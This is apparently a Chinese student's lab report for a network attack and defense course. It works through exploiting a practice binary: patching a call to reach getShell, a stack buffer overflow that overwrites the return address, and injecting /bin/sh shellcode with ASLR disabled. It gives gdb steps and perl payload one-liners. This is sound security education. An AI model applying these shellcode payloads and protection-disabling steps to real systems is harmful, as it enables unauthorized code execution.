# 2019-2020-2 网络对抗技术 20175333 曹雅坤 Exp1 PC平台逆向破解
2019-2020-2 网络对抗技术 20175333 曹雅坤 Exp1 PC平台逆向破解
实验准备
-
设置共享文件夹,已准备完成
-
将
pwn1
文件通过共享文件夹传到kali上 -
将
pwn1
文件复制到主目录下,并进行备份 -
输入
apt-get install lib32z1
指令,使64位kali可以运行32位程序
实践内容
任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
任务三:注入一个自己制作的shellcode并运行这段shellcode
任务一 直接修改程序机器指令,改变程序执行流程
- 通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo函数时,跳转到getshell函数,从而运行getshell函数
1.输入指令objdump -d pwn1 | more
反汇编pwn1
文件。
通过反汇编,可以看到main函数中的call 804891<foo>
,其机器码为e8 d7 ff ff ff
其中foo函数的地址为08048491
,getshell函数的地址为0804847d
,计算其对应关系
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址
修改pwn中的机器指令可以直接调用getShell 编辑pwn2文件(pwn1副本)在16进制模式下找到/e8d7
2.输入指令vi pwn1
打开文件,文件以ASCII码的格式出现
3.输入:%!xxd
通过调用命令行,将文件转换为16进制查看
4.使用/e8d7
命令寻找e8d7ffffff
机器指令所在位置,没找到,改换成/d7
,找到位置,e8 d7
中间有空格
5.找到后,进入插入模式,将d7修改为c3
6.输入:%!xxd -r
将文件转换为ASCII码形式,输入:wq保存并退出
7.此时输入指令objdump -d pwn1 | more
查看,可以发现pwn2
文件已经被修改了
8.运行pwn1
文件和pwn2
文件(pwn1
文件是原文件,pwn2
文件是被修改过的),可以发现两个文件的运行结果是截然不同的。
9.备份pwn1
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
pwn1
正常运行是调用函数foo,但是这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址,使下一步的跳转转到想要的函数
1.使用gdb pwn3
,进入调试界面,输入 r
以后可以输入代码,开始确认输入多少字符串后会覆盖到程序的返回地址。先试着输入一个比较长的字符串, 1111111122222222333333334444444455555555
2.再次使用 info r
查看当前寄存器的数据,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被0x35353535
覆盖了,这就表示了当前返回地址是四个‘5’,而EBP被0x34343434
字段覆盖掉了,因此说明缓冲区大小为28字节(输入的的数据共有40个字节,4字节的‘4’覆盖ebp,同时4字节的‘5’覆盖了eip。可以推测出buffer里面存有28字节)。
再次调试,这次输入字符串1111111122222222333333334444444412345678
,发现"1234"会覆盖EIP寄存器,而且是从右到左的方式。
寄存器显示时是按照16进制从高位向低位显示,需要从右至左每两个数字一个单位的读取。接下来的操作会使这块区域变成我们需要的内容即可实现跳转到getShell处执行代码,所以我们需要输入11111111222222223333333344444444\x7d\x84\x04\x08\x0a
(\x0a表示回车)
3.构造字符串
4.然后将input的输入,通过管道符“|”,作为pwn3的输入。
任务三 注入Shellcode并执行
1.准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
实验用Shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
、
2.准备工作
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
无效命令时使用apt-get install prelink
安装
权限不够时使用sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
sudo不支持重定向
3.构造要使用的payload
- Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
retaddr+nop+shellcode
nop+shellcode+retaddr - 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
我不会告诉你,我按着错误的做了几遍,实验指导书,干得漂亮
4.在看完老师的实验指导书之后发现nop+shellcode+retaddr这种方式有些问题。因此选取了anything+retaddr+nops+shellcode这种方式构造攻击代码。
首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。
注意最后一个字符不要设置成\x0a,否则会影响后来的操作。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接着在终端中注入这一段攻击buf (cat input_shellcode;cat) | ./pwn1
输入后,敲一个回车后要动,马上打开一个新的终端。
在新的终端查看程序进程,输入代码 ps -ef | grep pwn1得到进程号4617。
输入gdb 进入调试界面,然后输入attach 48617
接下来输入指令disassemble foo,对foo函数进行反汇编。
然后设置断点,来查看注入buf的内存地址,指令break *0x080484ae
之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
接下来输入指令info r esp,查看栈顶指针所在的位置,并查看改地址存放的数据。
\x4\x3\x2\x1出现在栈顶,这是返回地址的位置。
shellcode在旁边,计算地址:0xffffd36c+4=0xffffd370。
重新构造perl -e 'print "A" x 32;print "\xe0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
输入到程序(cat input_shellcode;cat) | ./pwn1
不算成功,出了点问题。
实验感想和收获
本次实验主要内容是缓冲区溢出攻击,这种攻击方法是计算机安全领域内既经典而又古老的话题,那么所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被设定好的恶意代码,也是利用了冯·诺依曼存储程序原理展开的。
这次实验我做了很多遍,第一次做的时候,很多知识都没法理解,只是跟着实验指导盲目地输入代码,对很多假设和数据尝试都没有亲自去计算去思考,任务三更是让人费解,重做了很多次都是段错误,一步一步地照着实验指导书做完还是不成功,我觉得有时候放弃也是一种选择
问题思考
什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。在计算机安全中,漏洞可以理解为一个弱点,能被威胁,如攻击者利用漏洞在计算机系统中执行未经授权的操作。
漏洞的危害:从计算机外部写入到缓冲区,可以使攻击者覆盖邻近内存块的内容,从而导致数据遭到破坏、程序崩溃,甚至可以执行任何恶意代码。小到个人pc,大到国家安全系统计算机,漏洞带来的危害可以是毁灭性的。